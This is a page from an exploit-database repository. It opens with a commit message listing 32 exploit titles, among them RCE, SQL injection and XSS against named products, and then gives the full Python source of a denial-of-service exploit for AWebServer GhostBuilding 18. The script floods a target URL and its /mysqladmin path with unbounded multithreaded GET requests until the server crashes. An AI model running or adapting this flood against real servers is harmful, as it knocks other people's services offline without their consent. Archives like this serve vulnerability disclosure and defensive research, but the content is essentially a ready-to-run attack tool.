1472d8e723
32 changes to exploits/shellcodes Siemens S7 Layer 2 - Denial of Service (DoS) TRIGONE Remote System Monitor 3.61 - Unquoted Service Path Automox Agent 32 - Local Privilege Escalation ConnectWise Control 19.2.24707 - Username Enumeration Accu-Time Systems MAXIMUS 1.0 - Telnet Remote Buffer Overflow (DoS) AWebServer GhostBuilding 18 - Denial of Service (DoS) TermTalk Server 3.24.0.2 - Arbitrary File Read (Unauthenticated) Dixell XWEB 500 - Arbitrary File Write Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) CMSimple 5.4 - Cross Site Scripting (XSS) RiteCMS 3.1.0 - Arbitrary File Overwrite (Authenticated) RiteCMS 3.1.0 - Arbitrary File Deletion (Authenticated) RiteCMS 3.1.0 - Remote Code Execution (RCE) (Authenticated) WordPress Plugin Contact Form Entries 1.1.6 - Cross Site Scripting (XSS) (Unauthenticated) WordPress Plugin WP Visitor Statistics 4.7 - SQL Injection Movie Rating System 1.0 - Broken Access Control (Admin Account Creation) (Unauthenticated) Movie Rating System 1.0 - SQLi to RCE (Unauthenticated) Online Admission System 1.0 - Remote Code Execution (RCE) (Unauthenticated) WordPress Plugin The True Ranker 2.2.2 - Arbitrary File Read (Unauthenticated) Library System in PHP 1.0 - 'publisher name' Stored Cross-Site Scripting (XSS) SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS) Nettmp NNT 5.1 - SQLi Authentication Bypass Hostel Management System 2.1 - Cross Site Scripting (XSS) Hospitals Patient Records Management System 1.0 - 'id' SQL Injection (Authenticated) BeyondTrust Remote Support 6.0 - Reflected Cross-Site Scripting (XSS) (Unauthenticated) Hospitals Patient Records Management System 1.0 - Account TakeOver Virtual Airlines Manager 2.6.2 - 'multiple' SQL Injection Terramaster TOS 4.2.15 - Remote Code Execution (RCE) (Unauthenticated) Vodafone H-500-s 3.5.10 - WiFi Password Disclosure openSIS Student Information System 8.0 - 'multiple' SQL Injection Projeqtor v9.3.1 - Stored Cross Site Scripting (XSS) WordPress Plugin AAWP 3.16 - 'tab' Reflected Cross Site Scripting (XSS) (Authenticated)
85 lines
No EOL
2.3 KiB
Python
Executable file
85 lines
No EOL
2.3 KiB
Python
Executable file
# Exploit Title: AWebServer GhostBuilding 18 - Denial of Service (DoS)
|
|
# Date: 28/12/2021
|
|
# Exploit Author: Andres Ramos [Invertebrado]
|
|
# Vendor Homepage: http://sylkat-tools.rf.gd/awebserver.htm
|
|
# Software Link: https://play.google.com/store/apps/details?id=com.sylkat.apache&hl=en
|
|
# Version: AWebServer GhostBuilding 18
|
|
# Tested on: Android
|
|
|
|
#!/usr/bin/python3
|
|
|
|
# *********************************************************************************
|
|
# * Author: Andres Ramos [Invertebrado] *
|
|
# * AWebServer GhostBuilding 18 - Remote Denial of Service (DoS) & System Crash *
|
|
# *********************************************************************************
|
|
|
|
import signal
|
|
import requests
|
|
from pwn import *
|
|
|
|
#Colors
|
|
class colors():
|
|
GREEN = "\033[0;32m\033[1m"
|
|
END = "\033[0m"
|
|
RED = "\033[0;31m\033[1m"
|
|
BLUE = "\033[0;34m\033[1m"
|
|
YELLOW = "\033[0;33m\033[1m"
|
|
PURPLE = "\033[0;35m\033[1m"
|
|
TURQUOISE = "\033[0;36m\033[1m"
|
|
GRAY = "\033[0;37m\033[1m"
|
|
|
|
exit = False
|
|
|
|
def def_handler(sig, frame):
|
|
print(colors.RED + "\n[!] Exiting..." + colors.END)
|
|
exit = True
|
|
sys.exit(0)
|
|
|
|
if threading.activeCount() > 1:
|
|
os.system("tput cnorm")
|
|
os._exit(getattr(os, "_exitcode", 0))
|
|
else:
|
|
os.system("tput cnorm")
|
|
sys.exit(getattr(os, "_exitcode", 0))
|
|
|
|
signal.signal(signal.SIGINT, def_handler)
|
|
|
|
if len(sys.argv) < 3:
|
|
print(colors.RED + "\n[!] Usage: " + colors.YELLOW + "{} ".format(sys.argv[0]) + colors.RED + "<" + colors.BLUE + "URL" + colors.RED + "> <" + colors.BLUE + "THREADS" + colors.RED +">" + colors.END)
|
|
sys.exit(1)
|
|
|
|
url = sys.argv[1]
|
|
Tr = sys.argv[2]
|
|
|
|
def http():
|
|
counter = 0
|
|
p1 = log.progress(colors.TURQUOISE + "Requests" + colors.END)
|
|
while True:
|
|
r = requests.get(url)
|
|
r = requests.get(url + "/mysqladmin")
|
|
counter += 2
|
|
p1.status(colors.YELLOW + "({}) ({}/mysqladmin)".format(url, url) + colors.GRAY + " = " + colors.GREEN + "[{}]".format(counter) + colors.END)
|
|
|
|
if exit:
|
|
break
|
|
|
|
if __name__ == '__main__':
|
|
|
|
threads = []
|
|
|
|
try:
|
|
for i in range(0, int(Tr)):
|
|
t = threading.Thread(target=http)
|
|
threads.append(t)
|
|
|
|
sys.stderr = open("/dev/null", "w")
|
|
|
|
for x in threads:
|
|
x.start()
|
|
|
|
for x in threads:
|
|
x.join()
|
|
|
|
except Exception as e:
|
|
log.failure(str(e))
|
|
sys.exit(1) |